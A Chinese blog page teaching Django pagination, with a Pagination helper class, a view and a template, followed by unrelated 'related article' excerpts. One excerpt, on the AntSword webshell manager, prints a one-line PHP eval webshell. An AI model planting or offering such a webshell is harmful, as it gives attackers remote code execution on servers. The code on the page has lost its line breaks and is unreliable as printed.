当前位置: 首页 > news >正文

django处理分页

当数据库量比较大的时候一定要分页查询的
在django中操作数据库进行分页

queryset = models.PrettyNum.objects.all()   #查询所有
queryset = models.PrettyNum.objects.all()[0:10]    #查询出1-10列
queryset = models.PrettyNum.objects.filter(mobile__contains='136')[0:10]  #查询出符合条件的前10列queryset = models.PrettyNum.objects.all().count()   #查询有多少条数据,返回的是一个数字#第一页
queryset = models.PrettyNum.objects.all()[0:10]#第二页
queryset = models.PrettyNum.objects.all()[10:20]#第三页
queryset = models.PrettyNum.objects.all()[20:30]

1、封装分页的插件类

这个分页插件要实现的是如下效果,当前页和前5页,后5页,上一页和下一页,还有首页和尾页
在这里插入图片描述
在app01下创建一个分页的的工具类,pagination.py
在这里插入图片描述
pagination.py的内容:
在初始化函数中,需要的参数有

request:请求的对象,通过对象获取url传的参数
queryset:符合条件的数据(根据这个数据库给他镜像分页处理)
page_size: 每页显示多少条数据, 不传默认显示10条数据库
page_param:在URL中传递的获取分页的参数,例如 /pretty/list/?page=12, 默认是page
plus: 显示当前页的前或后几页(页码),默认是5
在初始化函数中计算出总页数

在函数html就是生成html页面,最后返回这个页码html页面的字符串

from django.utils.safestring import mark_safe
class Pagination():def __init__(self,request,queryset,page_size=10,page_param="page",plus=5):""":param request: 请求的对象:param queryset: 符合条件的数据(根据这个数据库给他镜像分页处理):param page_size: 每页显示多少条数据:param page_param: 在URL中传递的获取分页的参数,例如 /pretty/list/?page=12:param plus: 显示当前页的前或后几页(页码)"""page = request.GET.get(page_param,"1")if page.isdecimal():page = int(page)else:page = 1self.page = pageself.page_size = page_sizeself.start = (page-1)* page_sizeself.end = page * page_sizeself.page_queryset = queryset[self.start:self.end]total_count = queryset.count()total_page_count,div = divmod(total_count,page_size)if div:total_page_count += 1self.total_page_count = total_page_countself.plus = plusdef html(self):#计算出,显示当前页的前5页,后5页if self.total_page_count <= 2 * self.plus + 1:#数据库中的数据比较少,没有11页start_page = 1end_page = self.total_page_countelse:# 数据库中的数据比较多,大于11页# 当前页<5时,(小级值)if self.page <= self.plus:start_page = 1end_page = 2 * self.plus + 1else:# 当前页大于5#当前页 + 5 > 总页面if (self.page + self.plus) > self.total_page_count:start_page = self.total_page_count - 2*self.plusend_page = self.total_page_countelse:start_page = self.page - self.plusend_page = self.page + self.plus# 页码page_str_list = []page_str_list.append('<li><a href="?page={}">首页</a></li>'.format(1))# 上一页if self.page > 1:prev = '<li><a href="?page={}">上一页</a></li>'.format(self.page -1)else:prev = '<li><a href="?page={}">上一页</a></li>'.format(1)page_str_list.append(prev)#页面for i in range(start_page,end_page + 1):if i == self.page:ele = '<li class="active"><a href="?page={}">{}</a></li>'.format(i,i)else:ele = '<li><a href="?page={}">{}</a></li>'.format(i, i)page_str_list.append(ele)# 下一页if self.page < self.total_page_count:prev = '<li><a href="?page={}">下一页</a></li>'.format(self.page + 1)else:prev = '<li><a href="?page={}">下一页</a></li>'.format(self.total_page_count)page_str_list.append(prev)# 尾页page_str_list.append('<li><a href="?page={}">尾页</a></li>'.format(self.total_page_count))search_string = """<li><form style="float:left; margin-left: -1px" method="get"><input name="page" style="position: relative;float: left;display: inline-block;width: 80px;border-radius: 0" type="text" class="form-control" placeholder="页码"><button style="border-radius: 0" class="btn btn-default" type="submit">跳转</button></form></li>"""page_str_list.append(search_string)page_string = mark_safe("".join(page_str_list))return page_string

2、在视图函数中使用页码类

在views.py 中导入类,实例化类,通过context 把内容传给页面

from django.shortcuts import render,redirect,HttpResponse
from django import forms
from app01 import models
from django.core.validators import RegexValidator
from django.core.exceptions import ValidationError
from app01.utils.pagination import Paginationdef pretty_list(request):"""靓号列表"""data_dict = {}search_data = request.GET.get('q',"")if search_data:data_dict['mobile__contains'] = search_data#从数据库查询到数据,排序,使用order_by ,-level表示降序,level升序queryset = models.PrettyNum.objects.filter(**data_dict).order_by("-level")page_obj = Pagination(request,queryset)context={"search_data": search_data,"queryset": page_obj.page_queryset,  #分页的数据"page_string":page_obj.html()    #页码}return render(request,'pretty_list.html',context)

3、在html中展示页码

在pretty_list.html的底部加上显示页面的
不管在哪个页面需要使用页码,只需要在要展示的地方加上下面的页码展示的就可以了,具体有多少页,根据数据条数,自动生成在page_string 变量中

  <nav aria-label="Page navigation"><ul class="pagination">{{ page_string }}</ul></nav>

pretty_list.html的整体代码如下:

{% extends 'layout.html' %}{% block content %}<div class="container"><div style="margin-bottom: 10px"><a class="btn btn-success" href="/pretty/add/">新建靓号</a><div style="float: right; width: 300px"><form method="get"><div class="input-group"><input type="text" name="q" class="form-control" placeholder="手机号搜索" value="{{ search_data }}"><span class="input-group-btn"><button class="btn btn-default" type="submit"><span class="glyphicon glyphicon-search" aria-hidden="true"></span></button></span></div></form></div></div><div class="panel panel-default"><div class="panel-heading"><span class="glyphicon glyphicon-list" aria-hidden="true"></span> 靓号列表</div><table class="table table-bordered"><thead><tr><th>ID</th><th>号码</th><th>价格</th><th>级别</th><th>状态</th><th>操作</th></tr></thead><tbody>{% for obj in queryset %}<tr><td>{{ obj.id }}</td><td>{{ obj.mobile }}</td><td>{{ obj.price }}</td><td>{{ obj.get_level_display }}</td><td>{{ obj.get_status_display }}</td><td><a class="btn btn-primary btn-xs" href="/pretty/{{ obj.id }}/edit/">编辑</a><a class="btn btn-danger btn-xs" href="/pretty/{{ obj.id }}/delete/">删除</a></td></tr>{% endfor %}</tbody></table></div><nav aria-label="Page navigation"><ul class="pagination">{{ page_string }}</ul></nav></div>{% endblock %}

相关文章:

django处理分页

当数据库量比较大的时候一定要分页查询的 在django中操作数据库进行分页 queryset models.PrettyNum.objects.all() #查询所有 queryset models.PrettyNum.objects.all()[0:10] #查询出1-10列 queryset models.PrettyNum.objects.filter(mobile__contains136)[0:10] …...

CI+JUnit5并发单测机制创新实践

目录 一. 现状问题 二. 分析原因 三. 采取措施 四. 实践步骤 五. 效能提升 资料获取方法 一. 现状问题 针对现如今高并发场景的业务系统&#xff0c;“并发问题” 终归是必不可少的一类&#xff08;占比接近10%&#xff09;&#xff0c;每次出现问题和事故后&#xff0c…...

蚁剑antSword-maste下载-安装-使用-一句话木马

下载 https://github.com/AntSwordProject/antSword 一句话木马 hack.php脚本 <?php eval($_POST[attack]);?> 安装 1、安装完成后启动 2、初始化&#xff0c;选择有源码的目录 3、连接...

[保研/考研机试] KY80 进制转换 北京大学复试上机题 C++实现

题目链接&#xff1a; KY80 进制转换https://www.nowcoder.com/share/jump/437195121691735660774 描述 写出一个程序&#xff0c;接受一个十六进制的数值字符串&#xff0c;输出该数值的十进制字符串(注意可能存在的一个测试用例里的多组数据)。 输入描述&#xff1a; 输…...

AP2915DC-DC降压恒流驱动IC LED电源驱动芯片 汽车摩托电动车灯

AP2915 是一款可以一路灯串切换两路灯串的降压 恒流驱动器,高效率、外围简单、内置功率管&#xff0c;适用于 5-80V 输入的高精度降压 LED 恒流驱动芯片。内置功 率管输出功率可达 12W&#xff0c;电流 1.2A。 AP2915 一路灯亮切换两路灯亮&#xff0c;其中一路灯亮可 以全亮&a…...

Android 实现无预览拍照功能

Android 实现无预览拍照功能 1.权限 需要相机、读写文件、悬浮窗权限 申请相机、读写文件 manifest.xml <uses-permission android:name"android.permission.CAMERA" /> <uses-permission android:name"android.permission.READ_EXTERNAL_STORAGE…...

第一章-数据结构绪论

第一章-数据结构绪论 数据结构的起源和相关概念 数据结构是一门研究非数值计算的程序设计问题中的操作对象&#xff0c;以及它们之间的关系和操作等相关问题的学科。 程序设计的实质是选择一个好的结构&#xff0c;再设计一种好的算法。 数据&#xff1a;是描述客观事物的符…...

20、stm32使用FMC驱动SDRAM(IS42S32800G-6BLI)

本文将使用安富莱的STM32H743XIH板子驱动SDRAM 引脚连接情况 一、CubeMx配置工程 1、开启调试口 2、开启外部高速时钟 配置时钟树 3、开启串口1 4、配置MPU 按照安富莱的例程配置&#xff1a; /* ********************************************************************…...

git仓库大文件导致仓库体积增大处理

一、删除大文件 git filter-branch --tree-filter rm -rf path/to/large/file --prune-empty HEAD二、提交到远程 git push -f origin main PS&#xff1a;-f必须参数&#xff0c;强制刷新PS&#xff1a;git设计是为了存储代码&#xff0c;一般不将大文件上传到仓库...

将游戏坐标转化成屏幕鼠标坐标

将游戏坐标转化成屏幕鼠标坐标 思路说明&#xff1a;转化其实是取得两点的相对位置&#xff0c;例如将游戏人物移动到另外一个位置&#xff08;游戏人物初始位置坐标到目的位置坐标&#xff09;&#xff0c;鼠标需要移动到屏幕的某个位置。算出游戏的移动距离&#xff0c;游戏…...

springboot中Instant时间传参及序列化

在部分场景中&#xff0c;后台的时间属性用的不是Date或Long&#xff0c;而是Instant&#xff0c;Java8引入的一个精度极高的时间类型&#xff0c;可以精确到纳秒&#xff0c;但实际使用的时候不需要这么高的精确度&#xff0c;通常到毫秒就可以了。 而在前后端传参的时候需要…...

nacos安装与启动相关问题(启动闪退和显示此站点的连接不安全)

问题&#xff1a;启动闪退 尝试&#xff1a; 使用记事本打开cmd文件&#xff0c;在文件结尾处新增两行 pause endlocal 如果还有问题&#xff1a;ERROR Nacos failed to start, please see D:\dev\nacos\logs\nacos.log for more details 尝试&#xff1a; 在nacos的bin目…...

51单片机学习--DS18B20温度读取温度报警器

需要先编写OneWire模块&#xff0c;再在DS18B20模块中调用OneWire模块的函数 先根据原理图做好端口的声明&#xff1a; sbit OneWire_DQ P3^7;接下来像之前一样把时序结构用代码模拟出来&#xff1a; unsigned char OneWire_Init(void) {unsigned char i;unsigned char Ac…...

PYTHON专栏

PYTHON专栏 python基础教程 python基础教程 Python练手算法 Python练手算法 Python设计模式 Python设计模式 MySQL教程 MySQL教程 ORM框架SQLAlchemy Python ORM框架SQLAlchemy Python Web框架Django Python Web框架Django Web框架FastAPI Web框架FastAPI http库request…...

从初学者到专家:Java运算符的完整指南

目录 1.算数运算符 2.增量运算符 2.1自增/自减运算符 4. 逻辑运算符 5.位运算符 6.移位运算符 7. 条件运算符 导言&#xff1a; Java作为一门广泛使用的编程语言&#xff0c;其运算符是编写代码时必不可少的一部分。本篇博客将为你详细介绍Java中的各种运算符&#xf…...

Linux:shell脚本:基础使用(3)

for循环语句 语句格式 for for变量 in 取值列表&#xff08;可以是变量或者自己定义&#xff09; do 循环内容 done 工作方式就是通过取值列表去判断循环的次数&#xff0c;每次循环的同时把列表一行的值赋予到for变量。取值方式如果是数字&#xff0c;那就通过数字去…...

opencv基础46-图像金字塔02-拉普拉斯金字塔

前面我们介绍了高斯金字塔&#xff0c;高斯金字塔是通过对一幅图像一系列的向下采样所产生的。有时&#xff0c;我们希望通过对金字塔中的小图像进行向上采样以获取完整的大尺寸高分辨率图像&#xff0c;这时就需要用到拉普拉斯金字塔 前面我们已经介绍过&#xff0c;一幅图像在…...

到 2030 年API 攻击预计将激增近 1000%

导读云原生应用程序编程接口管理公司 Kong 联合外部经济学家的最新研究预计&#xff0c;截至 2030 年 API 攻击将激增 996%&#xff0c;意味着与 API 相关的网络威胁的频率和强度都显着升级。 这项研究由 Kong 分析师和布朗大学副教授 Christopher Whaley 博士合作进行&#x…...

环形队列+DMA空闲中断+接收串口数据

环形队列DMA空闲中断接收串口数据 一.序言二.实验原理三.实战是检验真理的唯一标准3.1 usart1.c3.2 串口中断 三.队列代码4.1 fifo.c4.2 fifo.h 五.结语 一.序言 本次实验利用环形队列DMA空闲中断串口。。通过这个实验可以非常深入的理解队列&#xff0c;DMA,串口的知识。如果…...

LeetCode 31题:下一个排列

目录 题目 思路 代码 题目 整数数组的一个 排列 就是将其所有成员以序列或线性顺序排列。 例如&#xff0c;arr [1,2,3] &#xff0c;以下这些都可以视作 arr 的排列&#xff1a;[1,2,3]、[1,3,2]、[3,1,2]、[2,3,1] 。 整数数组的 下一个排列 是指其整数的下一个字典序…...

用Logit回归预测用户行为:从‘是否购买’到‘偏好等级’的完整建模与解读(附SPSSAU操作截图)

从点击到转化&#xff1a;Logit回归在用户行为预测中的实战指南 当产品经理面对海量用户数据时&#xff0c;最常遇到的困惑是&#xff1a;哪些因素真正影响了用户的购买决策&#xff1f;如何量化不同变量对转化率的影响程度&#xff1f;Logit回归作为分类问题的经典解决方案&am…...

知识库文本清洗实战:模块化工具包的设计、实现与RAG应用集成

1. 项目概述&#xff1a;一个为知识库“消毒”的利器最近在折腾本地知识库和RAG&#xff08;检索增强生成&#xff09;应用的朋友&#xff0c;估计都遇到过同一个头疼的问题&#xff1a;从网上爬下来的、从文档里导出来的原始文本数据&#xff0c;质量参差不齐。里面可能夹杂着…...

Transformer也能玩转分子图?Graphormer分子属性预测模型5分钟快速上手

Transformer也能玩转分子图&#xff1f;Graphormer分子属性预测模型5分钟快速上手 1. 为什么需要分子属性预测模型&#xff1f; 在药物研发和材料科学领域&#xff0c;科学家们经常需要评估成千上万种分子化合物的性质。传统实验方法不仅耗时耗力&#xff0c;成本也极高。想象…...

实时数字孪生 × 可执行元神:镜像视界终结仿真滞后时代

实时数字孪生 可执行元神&#xff1a;镜像视界终结仿真滞后时代 长期以来&#xff0c;全球数字孪生产业深陷仿真滞后、虚实脱节、被动展示、无法实战的行业困局&#xff0c;传统方案停留在静态建模、延迟复盘、数据孤岛的浅层阶段&#xff0c;看似数字化&#xff0c;实则难以…...

洛雪音乐app下载 落雪音乐安卓/电脑版下载

下载洛雪音乐 洛雪音乐安装包下载地址&#xff1a;洛雪音乐app下载 安装洛雪音乐 1) 下载安装包&#xff0c;双击 lx-music-desktop-v2.11.0.exe 启动安装&#xff1a; 2) 点击 “我同意”&#xff1a; 3) 点击 “下一步”&#xff1a; 4) 系统默认安装到 C 盘&#xff0c;这…...

从SerDes眼图到代码同步:一个硬件工程师的JESD204B物理层与链路层联调笔记

从SerDes眼图到代码同步&#xff1a;一个硬件工程师的JESD204B物理层与链路层联调笔记 当一块搭载JESD204B接口的ADC评估板首次上电时&#xff0c;示波器上跳动的眼图与逻辑分析仪中闪烁的SYNC信号&#xff0c;往往预示着一段充满挑战的调试旅程的开始。在12.5Gbps速率等级下&a…...

ARM IM-PD1接口模块架构与嵌入式开发实战

1. ARM Integrator/IM-PD1接口模块深度解析在嵌入式系统开发领域&#xff0c;接口模块的设计质量直接影响着整个系统的扩展能力和稳定性。作为ARM Integrator开发平台的重要组成部分&#xff0c;IM-PD1接口模块为开发者提供了丰富的外设连接能力。本文将深入剖析这款经典接口模…...

Layerdivider终极指南:如何3步将任何图片转换为专业PSD分层文件

Layerdivider终极指南&#xff1a;如何3步将任何图片转换为专业PSD分层文件 【免费下载链接】layerdivider A tool to divide a single illustration into a layered structure. 项目地址: https://gitcode.com/gh_mirrors/la/layerdivider 你是否曾面对复杂的插画作品&…...

电钢琴核心技术与选购全攻略

在这篇文章中&#xff0c;我们将深入探讨电钢琴的核心技术&#xff0c;包括声源系统、键盘触感和音箱设计等方面。这些技术不仅影响着电钢琴的音质与演奏体验&#xff0c;还在很大程度上决定了你在选购时的优先考虑因素。了解这些技术特性可以帮助你在面对众多型号时作出更明智…...

Qwen3-VL论文精读

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。 这篇论文是Qwen3-VL的技术报告&#xff0c;详细介绍了通义千问团队最新、最强的视觉-语言模型&#xff08;VLM&#xff09;系列。下面我从…...